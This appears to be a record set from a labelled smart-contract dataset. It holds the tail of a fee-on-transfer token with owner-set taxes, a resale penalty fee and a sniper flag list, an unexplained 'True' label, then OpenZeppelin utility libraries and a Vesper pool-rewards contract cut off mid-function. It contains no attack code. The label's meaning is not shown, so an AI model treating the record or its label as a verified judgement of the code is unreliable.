uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
True
|
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// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IAddressList {
function add(address a) external returns (bool);
function remove(address a) external returns (bool);
function get(address a) external view returns (uint256);
function contains(address a) external view returns (bool);
function length() external view returns (uint256);
function grantRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IPoolRewards {
/// Emitted after reward added
event RewardAdded(address indexed rewardToken, uint256 reward, uint256 rewardDuration);
/// Emitted whenever any user claim rewards
event RewardPaid(address indexed user, address indexed rewardToken, uint256 reward);
/// Emitted after adding new rewards token into rewardTokens array
event RewardTokenAdded(address indexed rewardToken, address[] existingRewardTokens);
function claimReward(address) external;
function notifyRewardAmount(
address _rewardToken,
uint256 _rewardAmount,
uint256 _rewardDuration
) external;
function notifyRewardAmount(
address[] memory _rewardTokens,
uint256[] memory _rewardAmounts,
uint256[] memory _rewardDurations
) external;
function updateReward(address) external;
function claimable(address _account)
external
view
returns (address[] memory _rewardTokens, uint256[] memory _claimableAmounts);
function lastTimeRewardApplicable(address _rewardToken) external view returns (uint256);
function rewardForDuration()
external
view
returns (address[] memory _rewardTokens, uint256[] memory _rewardForDuration);
function rewardPerToken()
external
view
returns (address[] memory _rewardTokens, uint256[] memory _rewardPerTokenRate);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../bloq/IAddressList.sol";
interface IVesperPool is IERC20 {
function deposit() external payable;
function deposit(uint256 _share) external;
function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool);
function excessDebt(address _strategy) external view returns (uint256);
function permit(
address,
address,
uint256,
uint256,
uint8,
bytes32,
bytes32
) external;
function poolRewards() external returns (address);
function reportEarning(
uint256 _profit,
uint256 _loss,
uint256 _payback
) external;
function reportLoss(uint256 _loss) external;
function resetApproval() external;
function sweepERC20(address _fromToken) external;
function withdraw(uint256 _amount) external;
function withdrawETH(uint256 _amount) external;
function whitelistedWithdraw(uint256 _amount) external;
function governor() external view returns (address);
function keepers() external view returns (IAddressList);
function maintainers() external view returns (IAddressList);
function feeCollector() external view returns (address);
function pricePerShare() external view returns (uint256);
function strategy(address _strategy)
external
view
returns (
bool _active,
uint256 _interestFee,
uint256 _debtRate,
uint256 _lastRebalance,
uint256 _totalDebt,
uint256 _totalLoss,
uint256 _totalProfit,
uint256 _debtRatio
);
function stopEverything() external view returns (bool);
function token() external view returns (IERC20);
function tokensHere() external view returns (uint256);
function totalDebtOf(address _strategy) external view returns (uint256);
function totalValue() external view returns (uint256);
function withdrawFee() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/vesper/IPoolRewards.sol";
import "../interfaces/vesper/IVesperPool.sol";
contract PoolRewardsStorage {
/// Vesper pool address
address public pool;
/// Array of reward token addresses
address[] public rewardTokens;
/// Reward token to valid/invalid flag mapping
mapping(address => bool) public isRewardToken;
/// Reward token to period ending of current reward
mapping(address => uint256) public periodFinish;
/// Reward token to current reward rate mapping
mapping(address => uint256) public rewardRates;
/// Reward token to Duration of current reward distribution
mapping(address => uint256) public rewardDuration;
/// Reward token to Last reward drip update time stamp mapping
mapping(address => uint256) public lastUpdateTime;
/// Reward token to Reward per token mapping. Calculated and stored at last drip update
mapping(address => uint256) public rewardPerTokenStored;
/// Reward token => User => Reward per token stored at last reward update
mapping(address => mapping(address => uint256)) public userRewardPerTokenPaid;
/// RewardToken => User => Rewards earned till last reward update
mapping(address => mapping(address => uint256)) public rewards;
}
/// @title Distribute rewards based on vesper pool balance and supply
contract PoolRewards is Initializable, IPoolRewards, ReentrancyGuard, PoolRewardsStorage {
using SafeERC20 for IERC20;
/**
* @dev Called by proxy to initialize this contract
* @param _pool Vesper pool address
* @param _rewardTokens Array of reward token addresses
*/
function initialize(address _pool, address[] memory _rewardTokens) public initializer {
require(_pool != address(0), "pool-address-is-zero");
require(_rewardTokens.length != 0, "invalid-reward-tokens");
pool = _pool;
rewardTokens = _rewardTokens;
for (uint256 i = 0; i < _rewardTokens.length; i++) {
isRewardToken[_rewardTokens[i]] = true;
}
}
modifier onlyAuthorized() {
require(msg.sender == IVesperPool(pool).governor(), "not-authorized");
_;
}
/**
* @notice Notify that reward is added. Only authorized caller can call
* @dev Also updates reward rate and reward earning period.
* @param _rewardTokens Tokens being rewarded
* @param _rewardAmounts Rewards amount for token on same index in rewardTokens array
* @param _rewardDurations Duration for which reward will be distributed
*/
function notifyRewardAmount(
address[] memory _rewardTokens,
uint256[] memory _rewardAmounts,
uint256[] memory _rewardDurations
) external virtual override onlyAuthorized {
_notifyRewardAmount(_rewardTokens, _rewardAmounts, _rewardDurations, IERC20(pool).totalSupply());
}
function notifyRewardAmount(
address _rewardToken,
uint256 _rewardAmount,
uint256 _rewardDuration
) external virtual override onlyAuthorized {
_notifyRewardAmount(_rewardToken, _rewardAmount, _rewardDuration, IERC20(pool).totalSupply());
}
/// @notice Add new reward token in existing rewardsToken array
function addRewardToken(address _newRewardToken) external onlyAuthorized {
require(_newRewardToken != address(0), "reward-token-address-zero");
emit RewardTokenAdded(_newRewardToken, rewardTokens);
rewardTokens.push(_newRewardToken);
isRewardToken[_newRewardToken] = true;
}
/**
* @notice Claim earned rewards.
* @dev This function will claim rewards for all tokens being rewarded
*/
function claimReward(address _account) external override nonReentrant {
uint256 _totalSupply = IERC20(pool).totalSupply();
uint256 _balance = IERC20(pool).balanceOf(_account);
uint256 _len = rewardTokens.length;
for (uint256 i = 0; i < _len; i++) {
address _rewardToken = rewardTokens[i];
_updateReward(_rewardToken, _account, _totalSupply, _balance);
// Claim rewards
uint256 reward = rewards[_rewardToken][_account];
if (reward != 0 && reward <= IERC20(_rewardToken).balanceOf(address(this))) {
rewards[_rewardToken][_account] = 0;
IERC20(_rewardToken).safeTransfer(_account, reward);
emit RewardPaid(_account, _rewardToken, reward);
}
}
}
/**
* @notice Updated reward for given account. Only Pool can call
*/
function updateReward(address _account) external override {
require(msg.sender == pool, "only-pool-can-update-reward");
uint256 _totalSupply = IERC20(pool).totalSupply();
uint256 _balance = IERC20(pool).balanceOf(_account);
uint256 _len = rewardTokens.length;
for (uint256 i = 0; i < _len; i++) {
_updateReward(rewardTokens[i], _account, _totalSupply, _balance);
}
}
/**
* @notice Returns claimable reward amount.
* @return _rewardTokens Array of tokens being rewarded
* @return _claimableAmounts Array of claimable for token on same index in rewardTokens
*/
function claimable(address _account)
external
view
override
returns (address[] memory _rewardTokens, uint256[] memory _claimableAmounts)
{
uint256 _totalSupply = IERC20(pool).totalSupply();
uint256 _balance = IERC20(pool).balanceOf(_account);
uint256 _len = rewardTokens.length;
_claimableAmounts = new uint256[](_len);
for (uint256 i = 0; i < _len; i++) {
_claimableAmounts[i] = _claimable(rewardTokens[i], _account, _totalSupply, _balance);
}
_rewardTokens = rewardTokens;
}
/// @notice Provides easy access to all rewardTokens
function getRewardTokens() external view returns (address[] memory) {
return rewardTokens;
}
/// @notice Returns timestamp of last reward update
function lastTimeRewardApplicable(address _rewardToken) public view override returns (uint256) {
return block.timestamp < periodFinish[_rewardToken] ? block.timestamp : periodFinish[_rewardToken];
}
function rewardForDuration()
external
view
override
returns (address[] memory _rewardTokens, uint256[] memory _rewardForDuration)
{
uint256 _len = rewardTokens.length;
_rewardForDuration = new uint256[](_len);
for (uint256 i = 0; i < _len; i++) {
_rewardForDuration[i] = rewardRates[rewardTokens[i]] * rewardDuration[rewardTokens[i]];
}
_rewardTokens = rewardTokens;
}
/**
* @notice Rewards rate per pool token
* @return _rewardTokens Array of tokens being rewarded
* @return _rewardPerTokenRate Array of Rewards rate for token on same index in rewardTokens
*/
function rewardPerToken()
external
view
override
returns (address[] memory _rewardTokens, uint256[] memory _rewardPerTokenRate)
{
uint256 _totalSupply = IERC20(pool).totalSupply();
uint256 _len = rewardTokens.length;
_rewardPerTokenRate = new uint256[](_len);
for (uint256 i = 0; i < _len; i++) {
_rewardPerTokenRate[i] = _rewardPerToken(rewardTokens[i], _totalSupply);
}
_rewardTokens = rewardTokens;
}
function _claimable(
address _rewardToken,
address _account,
uint256 _totalSupply,
uint256 _balance
) internal view returns (uint256) {
uint256 _rewardPerTokenAvailable =
_rewardPerToken(_rewardToken, _totalSupply) - userRewardPerTokenPaid[_rewardToken][_account];
uint256 _rewardsEarnedSinceLastUpdate = (_balance * _rewardPerTokenAvailable) / 1e18;
return rewards[_rewardToken][_account] + _rewardsEarnedSinceLastUpdate;
}
// There are scenarios when extending contract will override external methods and
// end up calling internal function. Hence providing internal functions
function _notifyRewardAmount(
address[] memory _rewardTokens,
uint256[] memory _rewardAmounts,
uint256[] memory _rewardDurations,
uint256 _totalSupply
) internal {
uint256 _len = _rewardTokens.length;
uint256 _amountsLen = _rewardAmounts.length;
uint256 _durationsLen = _rewardDurations.length;
require(_len != 0, "invalid-reward-tokens");
require(_amountsLen != 0, "invalid-reward-amounts");
require(_durationsLen != 0, "invalid-reward-durations");
require(_len == _amountsLen && _len == _durationsLen, "array-length-mismatch");
for (uint256 i = 0; i < _len; i++) {
_notifyRewardAmount(_rewardTokens[i], _rewardAmounts[i], _rewardDurations[i], _totalSupply);
}
}
function _notifyRewardAmount(
address _rewardToken,
uint256 _rewardAmount,
uint256 _rewardDuration,
uint256 _totalSupply
) internal {
require(_rewardToken != address(0), "incorrect-reward-token");
require(_rewardAmount != 0, "incorrect-reward-amount");
require(_rewardDuration != 0, "incorrect-reward-duration");
require(isRewardToken[_rewardToken], "invalid-reward-token");
// Update rewards earned so far
rewardPerTokenStored[_rewardToken] = _rewardPerToken(_rewardToken, _totalSupply);
if (block.timestamp >= periodFinish[_rewardToken]) {
rewardRates[_rewardToken] = _rewardAmount / _rewardDuration;
} else {
uint256 remainingPeriod = periodFinish[_rewardToken] - block.timestamp;
uint256 leftover = remainingPeriod * rewardRates[_rewardToken];
rewardRates[_rewardToken] = (_rewardAmount + leftover) / _rewardDuration;
}
// Safety check
uint256 balance = IERC20(_rewardToken).balanceOf(address(this));
require(rewardRates[_rewardToken] <= (balance / _rewardDuration), "rewards-too-high");
// Start new drip time
rewardDuration[_rewardToken] = _rewardDuration;
lastUpdateTime[_rewardToken] = block.timestamp;
periodFinish[_rewardToken] = block.timestamp + _rewardDuration;
emit RewardAdded(_rewardToken, _rewardAmount, _rewardDuration);
}
function _rewardPerToken(address _rewardToken, uint256 _totalSupply) internal view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored[_rewardToken];
}
